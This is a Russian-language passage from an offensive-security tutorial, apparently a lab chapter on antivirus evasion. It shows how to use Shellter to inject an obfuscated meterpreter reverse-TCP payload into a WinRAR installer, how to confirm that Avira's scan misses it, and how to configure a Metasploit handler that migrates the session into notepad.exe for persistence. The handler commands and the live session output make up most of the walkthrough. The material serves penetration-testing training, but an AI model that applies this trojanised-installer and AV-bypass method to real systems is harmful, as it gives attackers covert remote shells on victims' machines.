На данный момент нам представлен список доступных пейлоадов. Они включают популярные варианты, такие как meterpreter, но Shellter также поддерживает пользовательские пейлоады.

shellter_figure_271.png

Рисунок 9: Список доступных в shellter пейлоадов​

Обратите внимание, что для восстановления потока выполнения с помощью опции Stealth Mode, пользовательский пейлоад должен завершиться выходом из текущего потока.

Учитывая, что компания Avira обнаружила ранее созданный meterpreter PE, будем использовать те же самые настройки пейлоада для тестирования возможностей обхода в Shellter. После выбора пейлоада увидим опции по умолчанию из Metasploit, такие как реверс-шелл хост (LHOST) и порт (LPORT):

shellter_figure_272.png

Рисунок 10: Опции пейлоада в shellter​

После установки всех параметров Shellter вставит пейлоад в инсталлятор WinRAR и попытается достичь первой команды пейлоада.

shellter_figure_273.png

Рисунок 11: Shellter проверяет инъекцию​

Теперь, когда тест прошел успешно, перед передачей вредоносного PE-файла нашему клиенту Windows, настроим листнер на машине Кали для взаимодействия с meterpreter пейлоадом.

Код:
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, proces
LHOST     10.11.0.4        yes       The listen address
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  ----
0   Wildcard Target

msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.11.0.4:4444
Листинг 16 - Настройка хендлера (handler) для meterpreter пейлоада​

Далее вручную просканируем полученный файл с помощью Avira:

shellter_figure_274.png

Рисунок 12: Сканирование вредоносного PE файла с помощью Avira​

Так как Shellter обфусцирует как пейлоад, так и декодер пейлоада перед тем, как вставить его в PE, сканирование на основе сигнатур Avira выполняется чисто. Она не считает бинарный файл вредоносным.

Как только запускаем файл, у нас появляется стандартное окно установки WinRAR, в котором программа устанавливается нормально и без проблем. Хендлер показывает, что мы успешно получили сессию Meterpreter, но сессия разрывается после того, как установка завершается или отменяется:

Код:
[*] Sending stage (179779 bytes) to 10.11.0.22
[*] Meterpreter session 3 opened (10.11.0.4:4444 -> 10.11.0.22:51367)
meterpreter >
[*] 10.11.0.22 - Meterpreter session 3 closed. Reason: Died
Листинг 17 - Получение сессии meterpreter​

Это логично, потому что выполнение программы установки завершено и процесс завершен. Для того, чтобы решить эту проблему, можно установить AutoRunScript для миграции нашего Meterpreter в отдельный процесс сразу после создания сессии. Если мы повторно запустим установочный файл WinRAR после этого изменения в нашем экземпляре листнера, мы должны получить другой результат:

Код:
msf exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate

msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.11.0.4:4444
[*] Sending stage (179779 bytes) to 10.11.0.22
[*] Meterpreter session 4 opened (10.11.0.4:4444 -> 10.11.0.22:51371)
[*] Session ID 4 (10.11.0.4:4444 -> 10.11.0.22:51371) processing AutoRunScript 'post/w
indows/manage/migrate'
[*] Running module against DESKTOP-T27O4CT
[*] Current server process: wrar550.exe (4036)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 4832
[+] Successfully migrated to process 4832

meterpreter > getuid
Server username: DESKTOP-T27O4CT\offsec
Листинг 18 - Миграция шелла meterpreter в новый процесс

После завершения миграции сеанс останется активным даже после завершения процесса установки WinRAR или его отмены.

Заключение

В этой главе мы обсудили назначение антивирусного программного обеспечения и наиболее распространенные методы, используемые производителями для обнаружения вредоносного кода. Вкратце объяснили различные методы обхода антивируса, которые включают в себя различные техники инъекции шеллкода в память и продемонстрировали успешные методы обхода с помощью Shellter и PowerShell.

Несмотря на то, что в обоих примерах мы успешно обошли детектирование антивирусов, мы едва коснулись темы обнаружения и обхода вредоносного ПО. Для дальнейшего изучения темы, а также для того, чтобы узнать, сколько усилий требуется авторам вредоносного ПО для обхода современной защиты, рекомендуем вам прочитать отличную .
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD